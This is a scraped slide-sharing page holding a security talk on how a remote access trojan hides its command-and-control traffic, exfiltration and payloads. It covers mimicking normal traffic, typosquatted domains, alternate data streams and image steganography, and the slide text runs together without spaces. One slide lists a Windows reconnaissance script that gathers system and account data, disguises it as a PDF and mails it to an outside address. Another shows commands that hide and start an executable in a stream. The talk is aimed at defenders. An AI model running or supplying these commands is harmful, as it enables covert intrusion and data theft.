CodeStock14: Hiding in Plain Sight

•

0 j'aime•4,932 vues

Rob Gillen

Presentation from

Technologie Design

HidinginPlainSight
Presentedby /RobGillen @argodev
Thisworkislicensedundera .
Thistalkandrelatedresourcesareavailableonline:
CreativeCommonsAttribution4.0InternationalLicense
https://github.com/argodev/talks/

Disclaimer
Thecontentofthispresentationrepresentsmypersonalviews
andthoughtsatthepresenttime.Ireservetherighttochange
myviewsandopinionsatanytime.Thiscontentisnotendorsed
by,orrepresentativeinanywayofmyemployernorisit
intendedtobeaviewintomyworkorareflectiononthetype
ofworkthatIormygroupperforms.Itissimplyahobbyand
personalinterestandshouldbeconsideredassuch.

Overview
RATDesign
Encryption
Command/Control(C2)
AntiVirus
Behavior

RATDesign
Exeisdroppedviainfectedpage
Querieswebpageforcommands
Performscommandsifnotdonepreviously
Periodicallypollsfornewcommands

Encryption
ComplexEncryptionistrivial
PBKDF–Scryptsequentialmemory-hardfunction
Manyiterations(>10K)
Longkey-lengths

EncryptionExample
Aboveconfigurationiscustom-hardwareresistant
Takesapproximately¼secondperguess

Command/Control
UseWeb2CApproach
Commandsare“issued”enmassevianormal,benignlooking
webpages
Commonports
LeveragesexistingHTML/serverconstructs

CommandText
ipconfig /all > %APPDATA%info.txt
net start >> %APPDATA%info.txt
tasklist /v >> %APPDATA%info.txt
net user >> %APPDATA%info.txt
net localgroup administrators >> %APPDATA%info.txt
netstat -ano >> %APPDATA%info.txt
net use >> %APPDATA%info.txt
copy %APPDATA%info.txt %APPDATA%output.pdf
del %APPDATA%info.txt
sendmail %APPDATA%output.pdf Status Update
“Jones, William E. wejones@yourorg.gov”
itebaffe-836@yopmail.com smtp.yourorg.gov
del %APPDATA%output.pdf

MimicUserBehavior
TrafficRates
Monitorincoming/outgoingnetworktrafficforXdays
ConfigurexfiltostaywithinX%of“normal”
C2
Exponential/randomizedstand-down
Onlycommduringperiodsofactivity

MimicUserBehavior
TargetURLs
Monitoroutgoingwebqueries/URLsforXdays
Usesimilardomainnamesformalicioustraffic
Appendsimilar/samequerystringstomaliciousrequests

HidinginLogs
v-client-5b.sjc.dropbox.com
snt-re3-9a.sjc.dropbox.com
yn-in-f125.1e100.net
l1.ycs.vip.dcb.yahoo.com
snt-re3-9a.sjc.drpbox.com
ip-69-31-29-228.nlayer.net
a23-47-20-211.deploy.static.akamaitechnologies.com
l3.ycs.vip.dcb.yahoo.com
ir2.fp.vip.bf1.yahoo.com
www.nbcnews.com.edgesuite.net
wac.946A.edgecastcdn.net
a2.twimg.com

OtherHidingTechniques
OfficeFilecontentembedding
Creativelocation
AlternateDataStreams
LeastSignificantBit
NetworkProtocolManipulation

AlternateDataStreams
FeatureofNTFSsinceNT3.5.1
Usedformetadataandcompatibilitywithotherfilesystems

SoWhat?
#notepad pcast-nitrd-report-2010.pdf:secret.txt

Whataboutthis?
#type evil.exe > notepad.exe:evil.exe
#start notepad.exe:evil.exe

CrudeImageStego:LSB
LeastSignificantBit–alteritandencodemessageacross
LSBthroughvariousbytes
Visuallyimperceptible
Computationallychallengingtodetect
Encryptionalsoanoption

CarrierImage
ImageData:
Size:2.1MB
Dimensions:
3500x2343px
Resolution:300dpi
BitDepth:24
~8Megapixel
“Secret”Message:
Welcome!Remember,
thingsaren’talways
whattheyseem.

NextSteps
Knowwhatyoucanandcan’tsee
Considerimplicationsofyourmonitoringstrategy
Behavior*must*playarole

Questions/Contact
RobGillen
rob@gillenfamily.net
http://rob.gillenfamily.net
@argodev
Thistalkandrelatedresourcesareavailableonline:
https://github.com/argodev/talks/

Contenu connexe

Similaire à CodeStock14: Hiding in Plain Sight

Github github-githubfusion2011

Trends in Enterprise DevOps (August 2020)Daniel Hurst

SOA.2020Diego Pacheco

Von JavaEE auf Microservice in 6 Monaten - The Good, the Bad, and the wtfs...André Goliath

Blue team reboot - HackFest Haydn Johnson

API-First Design and DjangoKlaus Peter Laube

10 Reasons Your Software Sucks - Election 2012 EditionCaleb Jenkins

Dirigible @ SkyscannerJordan Pavlov

X-celerate 2019: Iterating fast with the MERN StackHaufe-Lexware GmbH & Co KG

CloudLand 2023: Rock, Paper, Scissors Cloud Competition - Go vs. JavaJan Stamer

[Intel Android Webinar Series] Esploriamo Intel XDK, uno strumento incredibileBeMyApp

Jaap Groeneveld - Software Engineering PrinciplesJaapGroeneveld2

Gauravsing sisodiyaGauravsingh Sisodiya

NoOps for noobs; why i think Devs do not need OpsGeert van der Cruijsen

What Web Framework To Use?Kasra Khosravi

apidays Australia 2022 - Lessons from doing EdgeDevOps (GitOps) in the bush, ...apidays

AI: Your Personal InternJoe Brinkman

Teaching Elephants to Dance (and Fly!) A Developer's Journey to Digital Trans...Burr Sutter

Notes (2012-06-08)Chris Pitt

Similaire à CodeStock14: Hiding in Plain Sight (20)

Github github-github

Trends in Enterprise DevOps (August 2020)

SOA.2020

Von JavaEE auf Microservice in 6 Monaten - The Good, the Bad, and the wtfs...

Blue team reboot - HackFest

API-First Design and Django

10 Reasons Your Software Sucks - Election 2012 Edition

Dirigible @ Skyscanner

X-celerate 2019: Iterating fast with the MERN Stack

CloudLand 2023: Rock, Paper, Scissors Cloud Competition - Go vs. Java

[Intel Android Webinar Series] Esploriamo Intel XDK, uno strumento incredibile

Jaap Groeneveld - Software Engineering Principles

Gauravsing sisodiya

NoOps for noobs; why i think Devs do not need Ops

What Web Framework To Use?

apidays Australia 2022 - Lessons from doing EdgeDevOps (GitOps) in the bush, ...

AI: Your Personal Intern

Teaching Elephants to Dance (and Fly!) A Developer's Journey to Digital Trans...

Notes (2012-06-08)

Plus de Rob Gillen

How well do you know your runtimeRob Gillen

Software defined radio and the hackerRob Gillen

So whats in a passwordRob Gillen

Hiding in plain sightRob Gillen

DevLink - WiFu: You think your wireless is secure?Rob Gillen

You think your WiFi is safe?Rob Gillen

Anatomy of a Buffer Overflow AttackRob Gillen

Intro to GPGPU with CUDA (DevLink)Rob Gillen

AWS vs. AzureRob Gillen

A Comparison of AWS and Azure - Part2Rob Gillen

A Comparison of AWS and Azure - Part 1Rob Gillen

Intro to GPGPU Programming with CudaRob Gillen

Scaling Document Clustering in the CloudRob Gillen

Hands On with Amazon Web Services (StirTrek)Rob Gillen

Windows Azure: Lessons From The FieldRob Gillen

Amazon Web Services for the .NET DeveloperRob Gillen

05561 Xfer Research 02Rob Gillen

05561 Xfer Research 01Rob Gillen

05561 Xfer Consumer 01Rob Gillen

Cloud Storage Upload Tests 02Rob Gillen

Plus de Rob Gillen (20)

How well do you know your runtime

Software defined radio and the hacker

So whats in a password

Hiding in plain sight

DevLink - WiFu: You think your wireless is secure?

You think your WiFi is safe?

Anatomy of a Buffer Overflow Attack

Intro to GPGPU with CUDA (DevLink)

AWS vs. Azure

A Comparison of AWS and Azure - Part2

A Comparison of AWS and Azure - Part 1

Intro to GPGPU Programming with Cuda

Scaling Document Clustering in the Cloud

Hands On with Amazon Web Services (StirTrek)

Windows Azure: Lessons From The Field

Amazon Web Services for the .NET Developer

05561 Xfer Research 02

05561 Xfer Research 01

05561 Xfer Consumer 01

Cloud Storage Upload Tests 02

Dernier

My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar

WordPress Websites for Engineers: Elevate Your Brandgvaughan

Artificial intelligence in cctv survelliance.pptxhariprasad279825

"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays

"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays

DevEX - reference for building teams, processes, and platformsSergiu Bodiu

DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy

My INSURER PTE LTD - Insurtech Innovation Award 2024The Digital Insurer

Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106

Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostZilliz

Install Stable Diffusion in windows machinePadma Pradeep

DMCC Future of Trade Web3 - Special EditionDubai Multi Commodity Centre

Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski

"ML in Production",Oleksandr BaganFwdays

"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays

Training state-of-the-art general text embeddingZilliz

Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos

New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada

Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation

SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal

Dernier (20)

My Hashitalk Indonesia April 2024 Presentation

WordPress Websites for Engineers: Elevate Your Brand

Artificial intelligence in cctv survelliance.pptx

"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...

"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack

DevEX - reference for building teams, processes, and platforms

DevoxxFR 2024 Reproducible Builds with Apache Maven

My INSURER PTE LTD - Insurtech Innovation Award 2024

Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics

Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost

Install Stable Diffusion in windows machine

DMCC Future of Trade Web3 - Special Edition

Integration and Automation in Practice: CI/CD in Mule Integration and Automat...

"ML in Production",Oleksandr Bagan

"Debugging python applications inside k8s environment", Andrii Soldatenko

Training state-of-the-art general text embedding

Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)

New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024

Connect Wave/ connectwave Pitch Deck Presentation

SAP Build Work Zone - Overview L2-L3.pptx

CodeStock14: Hiding in Plain Sight

1. HidinginPlainSight Presentedby /RobGillen @argodev Thisworkislicensedundera . Thistalkandrelatedresourcesareavailableonline: CreativeCommonsAttribution4.0InternationalLicense https://github.com/argodev/talks/

2. Disclaimer Thecontentofthispresentationrepresentsmypersonalviews andthoughtsatthepresenttime.Ireservetherighttochange myviewsandopinionsatanytime.Thiscontentisnotendorsed by,orrepresentativeinanywayofmyemployernorisit intendedtobeaviewintomyworkorareflectiononthetype ofworkthatIormygroupperforms.Itissimplyahobbyand personalinterestandshouldbeconsideredassuch.

4. HTDCS HelpdeskTicketDrivenCyberSecurity

7. Overview RATDesign Encryption Command/Control(C2) AntiVirus Behavior

8. RATDesign Exeisdroppedviainfectedpage Querieswebpageforcommands Performscommandsifnotdonepreviously Periodicallypollsfornewcommands

9. Encryption ComplexEncryptionistrivial PBKDF–Scryptsequentialmemory-hardfunction Manyiterations(>10K) Longkey-lengths

10. EncryptionExample Aboveconfigurationiscustom-hardwareresistant Takesapproximately¼secondperguess

11. Command/Control UseWeb2CApproach Commandsare“issued”enmassevianormal,benignlooking webpages Commonports LeveragesexistingHTML/serverconstructs

12.

13.

14.

15. CommandText ipconfig /all > %APPDATA%info.txt net start >> %APPDATA%info.txt tasklist /v >> %APPDATA%info.txt net user >> %APPDATA%info.txt net localgroup administrators >> %APPDATA%info.txt netstat -ano >> %APPDATA%info.txt net use >> %APPDATA%info.txt copy %APPDATA%info.txt %APPDATA%output.pdf del %APPDATA%info.txt sendmail %APPDATA%output.pdf Status Update “Jones, William E. wejones@yourorg.gov” itebaffe-836@yopmail.com smtp.yourorg.gov del %APPDATA%output.pdf

16. MimicUserBehavior TrafficRates Monitorincoming/outgoingnetworktrafficforXdays ConfigurexfiltostaywithinX%of“normal” C2 Exponential/randomizedstand-down Onlycommduringperiodsofactivity

17. MimicUserBehavior TargetURLs Monitoroutgoingwebqueries/URLsforXdays Usesimilardomainnamesformalicioustraffic Appendsimilar/samequerystringstomaliciousrequests

18. HidinginLogs v-client-5b.sjc.dropbox.com snt-re3-9a.sjc.dropbox.com yn-in-f125.1e100.net l1.ycs.vip.dcb.yahoo.com snt-re3-9a.sjc.drpbox.com ip-69-31-29-228.nlayer.net a23-47-20-211.deploy.static.akamaitechnologies.com l3.ycs.vip.dcb.yahoo.com ir2.fp.vip.bf1.yahoo.com www.nbcnews.com.edgesuite.net wac.946A.edgecastcdn.net a2.twimg.com

19. OtherHidingTechniques OfficeFilecontentembedding Creativelocation AlternateDataStreams LeastSignificantBit NetworkProtocolManipulation

20.

21.

22.

23.

24.

25.

26. CreativeFileLocations

27. AlternateDataStreams FeatureofNTFSsinceNT3.5.1 Usedformetadataandcompatibilitywithotherfilesystems